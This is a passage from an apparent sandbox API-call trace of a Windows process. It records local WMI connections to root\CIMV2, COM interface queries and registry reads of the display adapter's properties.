pType=0x2ac25a0*=18, plFlavor=0x2ac25a4*=0) returned 0x0 [0156.869] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc678 | out: puCount=0x1b0bc678*=0x2) returned 0x0 [0156.869] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc670*=0xf, pszText=0x0) returned 0x0 [0156.869] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc670*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0156.869] IWbemClassObject:Get (in: This=0x1b349310, wszName="Revision", lFlags=0, pVal=0x1b0bc630*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac2678*=0, plFlavor=0x2ac267c*=0 | out: pVal=0x1b0bc630*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6a06, varVal2=0x0), pType=0x2ac2678*=18, plFlavor=0x2ac267c*=0) returned 0x0 [0156.870] IWbemClassObject:Get (in: This=0x1b349310, wszName="Revision", lFlags=0, pVal=0x1b0bc680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac2678*=18, plFlavor=0x2ac267c*=0 | out: pVal=0x1b0bc680*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6a06, varVal2=0x0), pType=0x2ac2678*=18, plFlavor=0x2ac267c*=0) returned 0x0 [0156.976] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\ControlSet001\\Control\\Class\\{4d36e968-e325-11ce-bfc1-08002be10318}", ulOptions=0x0, samDesired=0x20219, phkResult=0x1b0bc818 | out: phkResult=0x1b0bc818*=0x494) returned 0x0 [0156.978] RegQueryInfoKeyW (in: hKey=0x494, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x1b0bc840, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x1b0bc838, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x1b0bc840*=0x3, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x1b0bc838*=0x5, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0156.979] RegEnumKeyExW (in: hKey=0x494, dwIndex=0x0, lpName=0x2ac6b88, lpcchName=0x1b0bc8a8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="0000", lpcchName=0x1b0bc8a8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0156.979] CoTaskMemFree (pv=0x0) [0156.979] RegEnumKeyExW (in: hKey=0x494, dwIndex=0x1, lpName=0x2ac6b88, lpcchName=0x1b0bc8a8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="0001", lpcchName=0x1b0bc8a8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0156.979] CoTaskMemFree (pv=0x0) [0156.979] RegEnumKeyExW (in: hKey=0x494, dwIndex=0x2, lpName=0x2ac6b88, lpcchName=0x1b0bc8a8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Properties", lpcchName=0x1b0bc8a8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0156.979] CoTaskMemFree (pv=0x0) [0156.980] RegOpenKeyExW (in: hKey=0x494, lpSubKey="0000", ulOptions=0x0, samDesired=0x20219, phkResult=0x1b0bc818 | out: phkResult=0x1b0bc818*=0x490) returned 0x0 [0156.980] RegQueryValueExW (in: hKey=0x490, lpValueName="HardwareInformation.AdapterString", lpReserved=0x0, lpType=0x1b0bc868, lpData=0x0, lpcbData=0x1b0bc860*=0x0 | out: lpType=0x1b0bc868*=0x1, lpData=0x0, lpcbData=0x1b0bc860*=0x40) returned 0x0 [0156.980] RegQueryValueExW (in: hKey=0x490, lpValueName="HardwareInformation.AdapterString", lpReserved=0x0, lpType=0x1b0bc868, lpData=0x2ac7070, lpcbData=0x1b0bc860*=0x40 | out: lpType=0x1b0bc868*=0x1, lpData="Microsoft Basic Display Adapter", lpcbData=0x1b0bc860*=0x40) returned 0x0 [0156.980] RegOpenKeyExW (in: hKey=0x494, lpSubKey="0000", ulOptions=0x0, samDesired=0x20219, phkResult=0x1b0bc818 | out: phkResult=0x1b0bc818*=0x48c) returned 0x0 [0156.981] RegQueryValueExW (in: hKey=0x48c, lpValueName="HardwareInformation.qwMemorySize", lpReserved=0x0, lpType=0x1b0bc868, lpData=0x0, lpcbData=0x1b0bc860*=0x0 | out: lpType=0x1b0bc868*=0x0, lpData=0x0, lpcbData=0x1b0bc860*=0x0) returned 0x2 [0156.981] RegCloseKey (hKey=0x494) returned 0x0 [0156.981] CoGetObjectContext (in: riid=0x27128a8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bc7c8 | out: ppv=0x1b0bc7c8*=0x4b0108) returned 0x0 [0156.981] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1b0bc7b8 | out: pAptType=0x1b0bc7b8*=1) returned 0x0 [0156.981] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x2712888*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b0bc7c0 | out: ppvObject=0x1b0bc7c0*=0x0) returned 0x80004002 [0156.981] IUnknown:Release (This=0x4b0108) returned 0x1 [0156.982] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bbbb8 | out: ppv=0x1b0bbbb8*=0x1b33d040) returned 0x0 [0156.982] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b33d040, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbca0 | out: ppvObject=0x1b0bbca0*=0x0) returned 0x80004002 [0156.982] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b33d040, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbc78 | out: ppvObject=0x1b0bbc78*=0x4f2bc0) returned 0x0 [0156.982] WbemDefPath:IUnknown:Release (This=0x1b33d040) returned 0x0 [0156.982] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2bc0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bba20 | out: ppvObject=0x1b0bba20*=0x4f2bc0) returned 0x0 [0156.982] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2bc0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbab0 | out: ppvObject=0x1b0bbab0*=0x0) returned 0x80004002 [0156.982] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2bc0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb2a8 | out: ppvObject=0x1b0bb2a8*=0x0) returned 0x80004002 [0156.982] WbemDefPath:IUnknown:AddRef (This=0x4f2bc0) returned 0x3 [0156.982] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2bc0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb168 | out: ppvObject=0x1b0bb168*=0x0) returned 0x80004002 [0156.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2bc0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb0f0 | out: ppvObject=0x1b0bb0f0*=0x0) returned 0x80004002 [0156.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2bc0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb0e0 | out: ppvObject=0x1b0bb0e0*=0x1b33d4c0) returned 0x0 [0156.983] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b33d4c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb108 | out: pCid=0x1b0bb108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.983] WbemDefPath:IUnknown:Release (This=0x1b33d4c0) returned 0x3 [0156.983] CoGetContextToken (in: pToken=0x1b0bb190 | out: pToken=0x1b0bb190) returned 0x0 [0156.983] CoGetContextToken (in: pToken=0x1b0bb610 | out: pToken=0x1b0bb610) returned 0x0 [0156.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2bc0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb6d0 | out: ppvObject=0x1b0bb6d0*=0x0) returned 0x80004002 [0156.983] WbemDefPath:IUnknown:Release (This=0x4f2bc0) returned 0x2 [0156.983] WbemDefPath:IUnknown:Release (This=0x4f2bc0) returned 0x1 [0156.983] CoGetContextToken (in: pToken=0x1b0bc400 | out: pToken=0x1b0bc400) returned 0x0 [0156.983] CoGetContextToken (in: pToken=0x1b0bc300 | out: pToken=0x1b0bc300) returned 0x0 [0156.983] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2bc0, riid=0x1b0bc460*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b0bc430 | out: ppvObject=0x1b0bc430*=0x4f2bc0) returned 0x0 [0156.983] WbemDefPath:IUnknown:AddRef (This=0x4f2bc0) returned 0x3 [0156.983] WbemDefPath:IUnknown:Release (This=0x4f2bc0) returned 0x2 [0156.983] WbemDefPath:IWbemPath:SetText (This=0x4f2bc0, uMode=0x4, pszPath="root\\CIMV2") returned 0x0 [0156.983] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2bc0, puCount=0x1b0bc7e8 | out: puCount=0x1b0bc7e8*=0x2) returned 0x0 [0156.983] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc7e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc7e0*=0xf, pszText=0x0) returned 0x0 [0156.983] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc7e0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc7e0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0156.983] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2bc0, puCount=0x1b0bc7f8 | out: puCount=0x1b0bc7f8*=0x2) returned 0x0 [0156.983] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc7f0*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc7f0*=0xf, pszText=0x0) returned 0x0 [0156.983] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc7f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc7f0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0156.984] CoGetObjectContext (in: riid=0x27128a8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bc778 | out: ppv=0x1b0bc778*=0x4b0108) returned 0x0 [0156.984] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1b0bc768 | out: pAptType=0x1b0bc768*=1) returned 0x0 [0156.984] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x2712888*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b0bc770 | out: ppvObject=0x1b0bc770*=0x0) returned 0x80004002 [0156.984] IUnknown:Release (This=0x4b0108) returned 0x1 [0156.984] CoGetClassObject (in: rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bbe38 | out: ppv=0x1b0bbe38*=0x1b33d040) returned 0x0 [0156.984] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33d040, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbf20 | out: ppvObject=0x1b0bbf20*=0x0) returned 0x80004002 [0156.984] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b33d040, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbef8 | out: ppvObject=0x1b0bbef8*=0x1b33d060) returned 0x0 [0156.984] WbemLocator:IUnknown:Release (This=0x1b33d040) returned 0x0 [0156.984] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33d060, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbca0 | out: ppvObject=0x1b0bbca0*=0x1b33d060) returned 0x0 [0156.985] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33d060, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbd30 | out: ppvObject=0x1b0bbd30*=0x0) returned 0x80004002 [0156.985] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33d060, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb528 | out: ppvObject=0x1b0bb528*=0x0) returned 0x80004002 [0156.985] WbemLocator:IUnknown:AddRef (This=0x1b33d060) returned 0x3 [0156.985] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33d060, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb3e8 | out: ppvObject=0x1b0bb3e8*=0x0) returned 0x80004002 [0156.985] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33d060, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb370 | out: ppvObject=0x1b0bb370*=0x0) returned 0x80004002 [0156.985] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33d060, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb360 | out: ppvObject=0x1b0bb360*=0x0) returned 0x80004002 [0156.985] CoGetContextToken (in: pToken=0x1b0bb410 | out: pToken=0x1b0bb410) returned 0x0 [0156.985] CoGetContextToken (in: pToken=0x1b0bb890 | out: pToken=0x1b0bb890) returned 0x0 [0156.985] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33d060, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb950 | out: ppvObject=0x1b0bb950*=0x0) returned 0x80004002 [0156.985] WbemLocator:IUnknown:Release (This=0x1b33d060) returned 0x2 [0156.985] WbemLocator:IUnknown:Release (This=0x1b33d060) returned 0x1 [0156.985] CoGetContextToken (in: pToken=0x1b0bc2d0 | out: pToken=0x1b0bc2d0) returned 0x0 [0156.985] CoGetContextToken (in: pToken=0x1b0bc1d0 | out: pToken=0x1b0bc1d0) returned 0x0 [0156.985] WbemLocator:IUnknown:QueryInterface (in: This=0x1b33d060, riid=0x1b0bc330*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b0bc300 | out: ppvObject=0x1b0bc300*=0x1b33d060) returned 0x0 [0156.985] WbemLocator:IUnknown:AddRef (This=0x1b33d060) returned 0x3 [0156.985] WbemLocator:IUnknown:Release (This=0x1b33d060) returned 0x2 [0156.985] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2bc0, puCount=0x1b0bc708 | out: puCount=0x1b0bc708*=0x2) returned 0x0 [0156.985] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=8, puBuffLength=0x1b0bc700*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc700*=0xf, pszText=0x0) returned 0x0 [0156.985] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=8, puBuffLength=0x1b0bc700*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc700*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0156.986] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b0bc450 | out: ppv=0x1b0bc450*=0x1b33ce60) returned 0x0 [0156.986] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b33ce60, strNetworkResource="\\\\.\\root\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b0bc5c8 | out: ppNamespace=0x1b0bc5c8*=0x1b3418b0) returned 0x0 [0157.022] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3418b0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc2c8 | out: ppvObject=0x1b0bc2c8*=0x1b2cbf50) returned 0x0 [0157.022] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b2cbf50, pProxy=0x1b3418b0, pAuthnSvc=0x1b0bc390, pAuthzSvc=0x1b0bc310, pServerPrincName=0x1b0bc338, pAuthnLevel=0x1b0bc314, pImpLevel=0x1b0bc320, pAuthInfo=0x1b0bc348, pCapabilites=0x1b0bc324 | out: pAuthnSvc=0x1b0bc390*=0xa, pAuthzSvc=0x1b0bc310*=0x0, pServerPrincName=0x1b0bc338, pAuthnLevel=0x1b0bc314*=0x6, pImpLevel=0x1b0bc320*=0x2, pAuthInfo=0x1b0bc348, pCapabilites=0x1b0bc324*=0x1) returned 0x0 [0157.022] WbemLocator:IUnknown:Release (This=0x1b2cbf50) returned 0x1 [0157.022] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3418b0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc260 | out: ppvObject=0x1b0bc260*=0x1b2cbf98) returned 0x0 [0157.022] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3418b0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc270 | out: ppvObject=0x1b0bc270*=0x1b2cbf50) returned 0x0 [0157.022] WbemLocator:IClientSecurity:SetBlanket (This=0x1b2cbf50, pProxy=0x1b3418b0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0157.023] WbemLocator:IUnknown:Release (This=0x1b2cbf50) returned 0x2 [0157.023] WbemLocator:IUnknown:Release (This=0x1b2cbf98) returned 0x1 [0157.023] CoTaskMemFree (pv=0x1b33ee80) [0157.023] WbemLocator:IUnknown:Release (This=0x1b33ce60) returned 0x0 [0157.023] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3418b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbd60 | out: ppvObject=0x1b0bbd60*=0x1b2cbf98) returned 0x0 [0157.023] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbf98, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbdf0 | out: ppvObject=0x1b0bbdf0*=0x0) returned 0x80004002 [0157.023] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbf98, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bba10 | out: ppvObject=0x1b0bba10*=0x0) returned 0x80004002 [0157.024] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3418b0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb5e8 | out: ppvObject=0x1b0bb5e8*=0x0) returned 0x80004002 [0157.024] WbemLocator:IUnknown:AddRef (This=0x1b2cbf98) returned 0x3 [0157.024] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbf98, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb4a8 | out: ppvObject=0x1b0bb4a8*=0x0) returned 0x80004002 [0157.024] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbf98, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb430 | out: ppvObject=0x1b0bb430*=0x0) returned 0x80004002 [0157.024] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbf98, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb420 | out: ppvObject=0x1b0bb420*=0x1b2cbe78) returned 0x0 [0157.025] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b2cbe78, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb448 | out: pCid=0x1b0bb448*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.025] WbemLocator:IUnknown:Release (This=0x1b2cbe78) returned 0x3 [0157.025] CoGetContextToken (in: pToken=0x1b0bb4d0 | out: pToken=0x1b0bb4d0) returned 0x0 [0157.025] CoGetContextToken (in: pToken=0x1b0bb950 | out: pToken=0x1b0bb950) returned 0x0 [0157.025] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbf98, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bba10 | out: ppvObject=0x1b0bba10*=0x1b2cbf60) returned 0x0 [0157.025] WbemLocator:IRpcOptions:Query (in: This=0x1b2cbf60, pPrx=0x1b2cbf98, dwProperty=2, pdwValue=0x1b0bba00 | out: pdwValue=0x1b0bba00) returned 0x80004002 [0157.025] WbemLocator:IUnknown:Release (This=0x1b2cbf60) returned 0x3 [0157.025] WbemLocator:IUnknown:Release (This=0x1b2cbf98) returned 0x2 [0157.025] CoGetContextToken (in: 